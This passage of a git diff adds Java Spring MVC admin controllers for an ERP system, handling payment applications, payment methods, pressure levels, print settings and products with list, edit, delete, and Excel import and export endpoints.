return respDataWithHandle(() -> paymentApplyService.selfCreateUpdate(paymentApply));
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/add")
|
||||
public String dialogAdd(ModelMap modelMap, Long id, PaymentApply.Type type, Long sourceId, PaymentApply.ReceivePayment receivePayment) {
|
||||
modelMap.addAttribute("contentId", id);
|
||||
modelMap.addAttribute("type", type);
|
||||
modelMap.addAttribute("departmentList", departmentService.findAll());
|
||||
modelMap.addAttribute("companyList", companyService.findAll());
|
||||
modelMap.addAttribute("adminList", adminService.findAll());
|
||||
modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
modelMap.addAttribute("today", DateUtil.formatDate(new Date()));
|
||||
modelMap.addAttribute("source", paymentApplyService.find(sourceId));
|
||||
modelMap.addAttribute("receivePayment", receivePayment);
|
||||
|
||||
if (type.equals(PaymentApply.Type.purchaseOrder)) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
Supplier supplier = supplierService.find(purchaseOrder.getOwnerId());
|
||||
modelMap.addAttribute("ownerId", purchaseOrder.getOwnerId());
|
||||
modelMap.addAttribute("ownerName", purchaseOrder.getOwnerName());
|
||||
modelMap.addAttribute("departmentId", purchaseOrder.getDepartmentId());
|
||||
modelMap.addAttribute("departmentName", purchaseOrder.getDepartmentName());
|
||||
modelMap.addAttribute("companyId", purchaseOrder.getCompanyId());
|
||||
modelMap.addAttribute("companyName", purchaseOrder.getCompanyName());
|
||||
modelMap.addAttribute("bankAccountList", supplier.getBankAccountList());
|
||||
modelMap.addAttribute("orderSn",purchaseOrder.getSn());
|
||||
modelMap.addAttribute("orderAmount",purchaseOrder.getTotalAmount());
|
||||
modelMap.addAttribute("payAmount",purchaseOrder.getPaymentAmount());
|
||||
|
||||
modelMap.addAttribute("purchaseType",purchaseOrder.getPurchaseType());
|
||||
modelMap.addAttribute("estimatedAmount",purchaseOrder.getEstimatedAmount());
|
||||
}
|
||||
return "/paymentApply/dialog/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/edit")
|
||||
public String dialogEdit(ModelMap modelMap, Long id) {
|
||||
PaymentApply paymentApply = paymentApplyService.find(id);
|
||||
modelMap.addAttribute("paymentApply", paymentApply);
|
||||
|
||||
if (paymentApply.getType().equals(PaymentApply.Type.purchaseOrder)) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(paymentApply.getContentId());
|
||||
Supplier supplier = supplierService.find(purchaseOrder.getOwnerId());
|
||||
modelMap.addAttribute("bankAccountList", supplier.getBankAccountList());
|
||||
}
|
||||
|
||||
return "/paymentApply/dialog/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/selfAdd")
|
||||
public String dialogSelfAdd(ModelMap modelMap, PaymentApply.Type type, PaymentApply.ReceivePayment receivePayment, Long contentId) {
|
||||
if (receivePayment == null) {
|
||||
receivePayment = PaymentApply.ReceivePayment.payment;
|
||||
}
|
||||
modelMap.addAttribute("departmentList", departmentService.findAll());
|
||||
modelMap.addAttribute("companyList", companyService.findAll());
|
||||
modelMap.addAttribute("adminList", adminService.findAll());
|
||||
modelMap.addAttribute("department", adminService.getCurrent().getDepartment());
|
||||
modelMap.addAttribute("reservoirs", Reservoir.values());
|
||||
modelMap.addAttribute("contentId", contentId);
|
||||
|
||||
if (type == null) {
|
||||
type = PaymentApply.Type.purchaseOrder;
|
||||
}
|
||||
|
||||
if (type.equals(PaymentApply.Type.purchaseOrder)) {
|
||||
modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
modelMap.addAttribute("purchaseOrderList", purchaseOrderService.findAll());
|
||||
} else {
|
||||
modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
}
|
||||
|
||||
modelMap.addAttribute("today", DateUtil.formatDate(new Date()));
|
||||
modelMap.addAttribute("receivePayment", receivePayment);
|
||||
modelMap.addAttribute("type", type);
|
||||
modelMap.addAttribute("paymentApplyTypes", PaymentApply.Type.values());
|
||||
return "/paymentApply/dialog/selfAdd";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/selfEdit")
|
||||
public String selfEdit(ModelMap modelMap, Long id) {
|
||||
PaymentApply paymentApply = paymentApplyService.find(id);
|
||||
modelMap.addAttribute("paymentApply", paymentApply);
|
||||
modelMap.addAttribute("companyList", companyService.findAll());
|
||||
|
||||
if (paymentApply.getType().equals(PaymentApply.Type.purchaseOrder)) {
|
||||
modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
modelMap.addAttribute("bankAccountList", supplierService.find(paymentApply.getOwnerId()).getBankAccountList());
|
||||
} else {
|
||||
modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
modelMap.addAttribute("bankAccountList", supplierService.find(paymentApply.getOwnerId()).getBankAccountList());
|
||||
}
|
||||
|
||||
return "/paymentApply/dialog/selfEdit";
|
||||
}
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap, Pageable pageable, PaymentApplyQuery query) {
|
||||
// query.setContractRequired(false);
|
||||
// query.setApprovalFailed(false);
|
||||
modelMap.addAttribute("page", paymentApplyService.findPage(pageable, query));
|
||||
modelMap.addAttribute("statusList", PaymentApply.Status.values());
|
||||
modelMap.addAttribute("reservoirs", Reservoir.values());
|
||||
modelMap.addAttribute("companyList", companyService.findAll());
|
||||
modelMap.addAttribute("query", query);
|
||||
|
||||
if (PaymentApply.Type.inspection.equals(query.getType())) {
|
||||
OrderQuery orderQuery = new OrderQuery();
|
||||
orderQuery.setCompanyId(query.getCompanyId());
|
||||
orderQuery.setReservoir(query.getReservoir());
|
||||
orderQuery.setStatusList(Arrays.asList(OrderStatus.approved, OrderStatus.completed));
|
||||
BigDecimal totalAmount = BigDecimal.ZERO;
|
||||
BigDecimal paidAmount = paymentApplyService.calcAmount(query);
|
||||
BigDecimal unpaidAmount = totalAmount.subtract(paidAmount);
|
||||
modelMap.addAttribute("totalAmount", totalAmount);
|
||||
modelMap.addAttribute("paidAmount", paidAmount);
|
||||
modelMap.addAttribute("unpaidAmount", unpaidAmount);
|
||||
}
|
||||
|
||||
return "/paymentApply/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/list")
|
||||
public String dialogList(ModelMap modelMap, PaymentApply.Type type, Long contentId, PaymentApply.ReceivePayment receivePayment) {
|
||||
List<PaymentApply> list = paymentApplyService.findList(null,
|
||||
Arrays.asList(
|
||||
Filter.eq("type", type),
|
||||
Filter.eq("contentId", contentId),
|
||||
Filter.eq("approvalFailed", false),
|
||||
Filter.eq("receivePayment", receivePayment)
|
||||
)
|
||||
, null);
|
||||
|
||||
modelMap.addAttribute("type", type);
|
||||
modelMap.addAttribute("list", list);
|
||||
modelMap.addAttribute("receivePayment", receivePayment);
|
||||
return "/paymentApply/dialog/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/view")
|
||||
public String dialogView(ModelMap modelMap, Long id) {
|
||||
PaymentApply paymentApply = paymentApplyService.find(id);
|
||||
modelMap.addAttribute("paymentApply", paymentApply);
|
||||
return "/paymentApply/dialog/view";
|
||||
}
|
||||
|
||||
@RequestMapping("/confirmPay")
|
||||
@ResponseBody
|
||||
public RespData confirmPay(Long id) {
|
||||
PaymentApply paymentApply = paymentApplyService.find(id);
|
||||
if (paymentApply.getStatus().equals(PaymentApply.Status.complete)) {
|
||||
return RespData.error("已付款");
|
||||
}
|
||||
paymentApply.setStatus(PaymentApply.Status.complete);
|
||||
paymentApplyService.update(paymentApply);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/approveApply")
|
||||
@ResponseBody
|
||||
public RespData approveApply(Long id) {
|
||||
PaymentApply paymentApply = paymentApplyService.find(id);
|
||||
return respDataWithHandle(() -> paymentApplyService.approveApply(paymentApply));
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/confirm")
|
||||
public String dialogConfirm(ModelMap modelMap, Long id) {
|
||||
modelMap.addAttribute("paymentApply", paymentApplyService.find(id));
|
||||
return "/paymentApply/dialog/confirm";
|
||||
}
|
||||
|
||||
@RequestMapping("/doConfirm")
|
||||
@ResponseBody
|
||||
public RespData doConfirm(PaymentApply paymentApply) {
|
||||
PaymentApply source = paymentApplyService.find(paymentApply.getId());
|
||||
source.setConfirmAttachFileIds(paymentApply.getConfirmAttachFileIds());
|
||||
paymentApplyService.update(source);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids) {
|
||||
paymentApplyService.delete(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
/**
|
||||
* 出纳确认列表
|
||||
*/
|
||||
@RequestMapping("/cashierConfirmList")
|
||||
public String cashierConfirmList(ModelMap modelMap, Pageable pageable, PaymentApplyQuery query) {
|
||||
query.setApprovalFailed(false);
|
||||
query.setCashierConfirmFlag(false);
|
||||
query.setReceivePayment(PaymentApply.ReceivePayment.receive);
|
||||
modelMap.addAttribute("page", paymentApplyService.findPage(pageable, query));
|
||||
modelMap.addAttribute("statusList", PaymentApply.Status.values());
|
||||
modelMap.addAttribute("reservoirs", Reservoir.values());
|
||||
modelMap.addAttribute("companyList", companyService.findAll());
|
||||
modelMap.addAttribute("query", query);
|
||||
return "/paymentApply/cashierConfirmList";
|
||||
}
|
||||
|
||||
/**
|
||||
* 收款确认
|
||||
*/
|
||||
@RequestMapping("/receiveConfirm")
|
||||
@ResponseBody
|
||||
public RespData receiveConfirm(Long id) {
|
||||
PaymentApply paymentApply = paymentApplyService.find(id);
|
||||
return respDataWithHandle(() -> paymentApplyService.receiveConfirm(paymentApply));
|
||||
}
|
||||
|
||||
@RequestMapping("/export")
|
||||
public void export(HttpServletResponse response, PaymentApplyQuery query) {
|
||||
paymentApplyService.export(response,query);
|
||||
}
|
||||
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
paymentApplyService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addFile")
|
||||
public String dialogAddFile (ModelMap modelMap){
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("adminId",admin.getId());
|
||||
return "paymentApply/dialog/addFile";
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入明细表
|
||||
*/
|
||||
@RequestMapping(value = "/uploadExcel")
|
||||
@ResponseBody
|
||||
public RespData uploadOrderExcel(MultipartFile file, Long adminId) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xls") && !fileName.endsWith("xlsx")) {
|
||||
return RespData.error("不是excel文件");
|
||||
}
|
||||
try {
|
||||
paymentApplyService.saveFile(file, adminId);
|
||||
return RespData.success("导入成功");
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.PaymentMethod;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.PaymentMethodService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/4/26 11:11 上午
|
||||
*/
|
||||
@Controller("adminPaymentMethodController")
|
||||
@RequestMapping("/admin/paymentMethod")
|
||||
public class PaymentMethodController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private PaymentMethodService paymentMethodService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap, Pageable pageable) {
|
||||
modelMap.addAttribute("page", paymentMethodService.findPage(pageable));
|
||||
return "/paymentMethod/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add() {
|
||||
return "/paymentMethod/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/add")
|
||||
public String dialogAdd(ModelMap modelMap, Long id) {
|
||||
PaymentMethod paymentMethod = paymentMethodService.find(id);
|
||||
if (paymentMethod != null) {
|
||||
modelMap.addAttribute("paymentMethod", paymentMethod);
|
||||
}
|
||||
return "/paymentMethod/dialog/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/edit")
|
||||
public String edit(ModelMap modelMap, Long id) {
|
||||
PaymentMethod paymentMethod = paymentMethodService.find(id);
|
||||
modelMap.addAttribute("paymentMethod", paymentMethod);
|
||||
return "/paymentMethod/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(PaymentMethod paymentMethod) {
|
||||
try {
|
||||
paymentMethodService.saveEntity(paymentMethod);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(PaymentMethod paymentMethod) {
|
||||
try {
|
||||
paymentMethodService.updateEntity(paymentMethod);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/dialogSave")
|
||||
@ResponseBody
|
||||
public RespData dialogSave(PaymentMethod paymentMethod) {
|
||||
try {
|
||||
if (paymentMethod.getId() == null) {
|
||||
paymentMethodService.saveEntity(paymentMethod);
|
||||
} else {
|
||||
paymentMethodService.updateEntity(paymentMethod);
|
||||
}
|
||||
return RespData.success(paymentMethod.getId());
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long[] ids) {
|
||||
paymentMethodService.delete(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Diameter;
|
||||
import com.vverp.entity.PressureLevel;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.PressureLevelService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
@RequestMapping("admin/pressureLevel")
|
||||
@Controller("adminPressureLevel")
|
||||
public class PressureLevelController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private PressureLevelService pressureLevelService;
|
||||
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable){
|
||||
Page<PressureLevel> page = pressureLevelService.findPage(pageable);
|
||||
modelMap.addAttribute("page",page);
|
||||
return "pressureLevel/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(){
|
||||
return "pressureLevel/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap, Long id){
|
||||
PressureLevel pressureLevel = pressureLevelService.find(id);
|
||||
modelMap.addAttribute("pressureLevel",pressureLevel);
|
||||
return "pressureLevel/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public RespData save(PressureLevel pressureLevel){
|
||||
if (pressureLevelService.findByAttribute("name",pressureLevel.getName()) != null){
|
||||
return RespData.error(pressureLevel.getName()+"已存在");
|
||||
}
|
||||
pressureLevelService.save(pressureLevel);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public RespData update(PressureLevel pressureLevel){
|
||||
PressureLevel source = pressureLevelService.findByAttribute("name",pressureLevel.getName());
|
||||
if (source != null && !source.getId().equals(pressureLevel.getId())){
|
||||
return RespData.error(pressureLevel.getName()+"已存在");
|
||||
}
|
||||
pressureLevelService.update(pressureLevel);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
pressureLevelService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 导入模板
|
||||
*/
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
pressureLevelService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file) {
|
||||
try {
|
||||
pressureLevelService.importExcel(file);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.annotation.Module;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.PrintSettingService;
|
||||
import com.vverp.service.TableStorageService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/4/24 9:46 上午
|
||||
*/
|
||||
@Controller("adminPrintSettingController")
|
||||
@RequestMapping("/admin/printSetting")
|
||||
public class PrintSettingController extends BaseController {
|
||||
|
||||
private static final Class[] ENABLE_CLASSES = new Class[]{ PurchaseOrder.class, PurchaseStock.class,};
|
||||
|
||||
@Resource
|
||||
private PrintSettingService printSettingService;
|
||||
|
||||
@Resource
|
||||
private TableStorageService tableStorageService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap) {
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Class cls : ENABLE_CLASSES) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
Module module = (Module) cls.getAnnotation(Module.class);
|
||||
map.put("moduleName", module.name());
|
||||
PrintSetting printSetting = printSettingService.get(cls);
|
||||
map.put("printSetting", printSetting);
|
||||
list.add(map);
|
||||
}
|
||||
modelMap.addAttribute("list", list);
|
||||
modelMap.addAttribute("paperTypes", PrintSetting.PaperType.values());
|
||||
modelMap.addAttribute("printDirections", PrintSetting.PrintDirection.values());
|
||||
return "/printSetting/list";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/update", method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public RespData update(@RequestBody List<PrintSetting> list) {
|
||||
try {
|
||||
printSettingService.update(list);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error("保存失败");
|
||||
}
|
||||
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/data")
|
||||
@ResponseBody
|
||||
public RespData data(String name) {
|
||||
String headerName = "inside-" + name + "-header-print";
|
||||
String bodyName = "inside-" + name + "-print";
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("headerFields", tableStorageService.findByName(headerName+ "_fields"));
|
||||
map.put("bodyFields", tableStorageService.findByName(bodyName+ "_fields"));
|
||||
map.put("bodyColumns", tableStorageService.findByName(bodyName+ "_columns"));
|
||||
map.put("printSetting", printSettingService.get(name));
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
}
|
||||
313
src/main/java/com/vverp/controller/admin/ProductController.java
Normal file
313
src/main/java/com/vverp/controller/admin/ProductController.java
Normal file
@@ -0,0 +1,313 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.base.Setting;
|
||||
import com.vverp.dto.ProductBaseDTO;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.OrderStatus;
|
||||
import com.vverp.moli.util.*;
|
||||
import com.vverp.service.*;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import java.math.BigDecimal;
|
||||
import java.math.RoundingMode;
|
||||
import java.util.*;
|
||||
|
||||
@Controller("adminProductController")
|
||||
@RequestMapping("/admin/product")
|
||||
public class ProductController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private ProductService productService;
|
||||
|
||||
@Resource
|
||||
private ProductTypeService productTypeService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderItemService purchaseOrderItemService;
|
||||
|
||||
@Resource
|
||||
private ProgressStockService progressStockService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@RequestMapping("stockList")
|
||||
public String stockList(Pageable pageable,ModelMap modelMap,String name,String code,Long productTypeId){
|
||||
Admin admin = adminService.getCurrent();
|
||||
progressStockService.createStock(admin.getNowProgress());
|
||||
Page<ProgressStock> page = progressStockService.findPageView(pageable,admin.getNowProgress(),name,code,productTypeId);
|
||||
for (ProgressStock progressStock : page.getContent()){
|
||||
Product product = progressStock.getProduct();
|
||||
if (product.getProductType() != null) {
|
||||
if (product.getProductType().getParentId() != null){
|
||||
ProductType parent = productTypeService.find(product.getProductType().getParentId());
|
||||
progressStock.setProductType(parent.getName()+"/"+product.getProductType().getName());
|
||||
}else {
|
||||
progressStock.setProductType(product.getProductType().getName());
|
||||
}
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("page",page);
|
||||
modelMap.addAttribute("name",name);
|
||||
modelMap.addAttribute("code",code);
|
||||
modelMap.addAttribute("productTypes",productTypeService.findAll());
|
||||
modelMap.addAttribute("productTypeId",productTypeId);
|
||||
// modelMap.addAttribute("productTypeId",productTypeId);
|
||||
return "product/conduit/stockList";
|
||||
}
|
||||
|
||||
@RequestMapping("editStock")
|
||||
public String editStock(Long id,ModelMap modelMap){
|
||||
ProgressStock progressStock = progressStockService.find(id);
|
||||
modelMap.addAttribute("progressStock",progressStock);
|
||||
return "product/conduit/editStock";
|
||||
}
|
||||
|
||||
@RequestMapping("updateStock")
|
||||
@ResponseBody
|
||||
public RespData updateStock(Long id,BigDecimal stockCount){
|
||||
ProgressStock progressStock = progressStockService.find(id);
|
||||
progressStock.setStockCount(stockCount);
|
||||
progressStockService.update(progressStock);
|
||||
return RespData.success("保存成功");
|
||||
}
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(Pageable pageable, Date createDateStart, Date createDateEnd, String name, String code,
|
||||
BigDecimal retailPrice, String format, BigDecimal gWeight, String pattern, String colour,
|
||||
Long productTypeId, String productTypeChain, String treeId, ModelMap modelMap,Product.Type type) {
|
||||
Page<Product> page = productService.findPageView(pageable, createDateStart, createDateEnd, name, code, retailPrice, format, gWeight, pattern, colour, productTypeId, productTypeChain,type);
|
||||
Map<Long,String> typeChan = new HashMap<>();
|
||||
for (Product product : page.getContent()){
|
||||
if (product.getProductType() != null) {
|
||||
if (product.getProductType().getParentId() != null){
|
||||
ProductType parent = productTypeService.find(product.getProductType().getParentId());
|
||||
typeChan.put(product.getId(), parent.getName()+"/"+product.getProductType().getName());
|
||||
}else {
|
||||
typeChan.put(product.getId(), product.getProductType().getName());
|
||||
}
|
||||
}else {
|
||||
typeChan.put(product.getId(), "");
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("page", page);
|
||||
modelMap.addAttribute("typeChan", typeChan);
|
||||
modelMap.addAttribute("createDateStart", createDateStart);
|
||||
modelMap.addAttribute("createDateEnd", createDateEnd);
|
||||
modelMap.addAttribute("name", name);
|
||||
modelMap.addAttribute("code", code);
|
||||
modelMap.addAttribute("type", type);
|
||||
modelMap.addAttribute("retailPrice", retailPrice);
|
||||
modelMap.addAttribute("format", format);
|
||||
modelMap.addAttribute("gWeight", gWeight);
|
||||
modelMap.addAttribute("pattern", pattern);
|
||||
modelMap.addAttribute("colour", colour);
|
||||
modelMap.addAttribute("productTypeId", productTypeId);
|
||||
modelMap.addAttribute("productTypes", productTypeService.findAll());
|
||||
modelMap.addAttribute("treeId", treeId);
|
||||
modelMap.addAttribute("productTypeChain", productTypeChain);
|
||||
return "/product"+"/"+type.name()+"/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add(ModelMap modelMap, Product.Type type) {
|
||||
// modelMap.addAttribute("productTypes", productTypeService.findAll());
|
||||
modelMap.addAttribute("type", type);
|
||||
modelMap.addAttribute("productRate", Setting.getData().getProductRate());
|
||||
return "/product"+"/"+type.name()+"/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public Message save(Product product) {
|
||||
// if (!isValid(product, BaseEntity.Save.class)) {
|
||||
// return ERROR;
|
||||
// }
|
||||
try {
|
||||
productService.saveProduct(product);
|
||||
return SUCCESS;
|
||||
} catch (RuntimeException e) {
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/view")
|
||||
public String view(Long id, ModelMap modelMap) {
|
||||
Product product = productService.find(id);
|
||||
modelMap.addAttribute("product", product);
|
||||
if (product.getProductType() != null) {
|
||||
if (product.getProductType().getParentId() != null){
|
||||
ProductType parent = productTypeService.find(product.getProductType().getParentId());
|
||||
modelMap.addAttribute("typeName", parent.getName()+"/"+product.getProductType().getName());
|
||||
}else {
|
||||
modelMap.addAttribute("typeName", product.getProductType().getName());
|
||||
}
|
||||
}else {
|
||||
modelMap.addAttribute("typeName", "");
|
||||
}
|
||||
return "/product"+"/"+product.getType().name()+"/view";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/edit")
|
||||
public String edit(Long id, ModelMap modelMap) {
|
||||
Product product = productService.find(id);
|
||||
// modelMap.addAttribute("productTypes", productTypeService.findAll());
|
||||
modelMap.addAttribute("product", product);
|
||||
modelMap.addAttribute("productRate", Setting.getData().getProductRate());
|
||||
return "/product"+"/"+product.getType().name()+"/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public Message update(Product product) {
|
||||
// if (!isValid(product, BaseEntity.Update.class)) {
|
||||
// return ERROR;
|
||||
// }
|
||||
try {
|
||||
productService.updateProduct(product);
|
||||
return SUCCESS;
|
||||
} catch (RuntimeException e) {
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/delete", method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public Message delete(Long ids) {
|
||||
productService.delete(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("/find")
|
||||
@ResponseBody
|
||||
public RespData find(Long id) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
Product product = productService.find(id);
|
||||
map.put("product", product);
|
||||
if (product.getProductType() != null && product.getProductType().getParentId() != null){
|
||||
ProductType bigType = productTypeService.find(product.getProductType().getParentId());
|
||||
map.put("bigName", bigType.getName());
|
||||
map.put("smallName", product.getProductType().getName());
|
||||
}else if (product.getProductType() != null){
|
||||
map.put("bigName", product.getProductType().getName());
|
||||
map.put("smallName", " ");
|
||||
}else {
|
||||
map.put("bigName", " ");
|
||||
map.put("smallName", " ");
|
||||
}
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/findByCode")
|
||||
@ResponseBody
|
||||
public RespData findByCode(String code) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
Product product = productService.findByCode(code);
|
||||
map.put("product", product);
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
/**
|
||||
* 导出
|
||||
*/
|
||||
@RequestMapping("/export")
|
||||
public void export(HttpServletResponse response, Date createDateStart, Date createDateEnd, String name, String code, BigDecimal retailPrice, String format, BigDecimal gWeight, String pattern, String colour, Long productTypeId, String productTypeChain, Product.Type type) {
|
||||
productService.export(response, createDateStart, createDateEnd, name, code, retailPrice, format, gWeight, pattern, colour, productTypeId, productTypeChain,type);
|
||||
}
|
||||
|
||||
/**
|
||||
* 导出
|
||||
*/
|
||||
@RequestMapping("/exportStock")
|
||||
public void exportStock(HttpServletResponse response,Boolean allStock) {
|
||||
progressStockService.exportStock(response,allStock);
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入模板
|
||||
*/
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
productService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("/import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file) {
|
||||
try {
|
||||
productService.importExcel(file);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
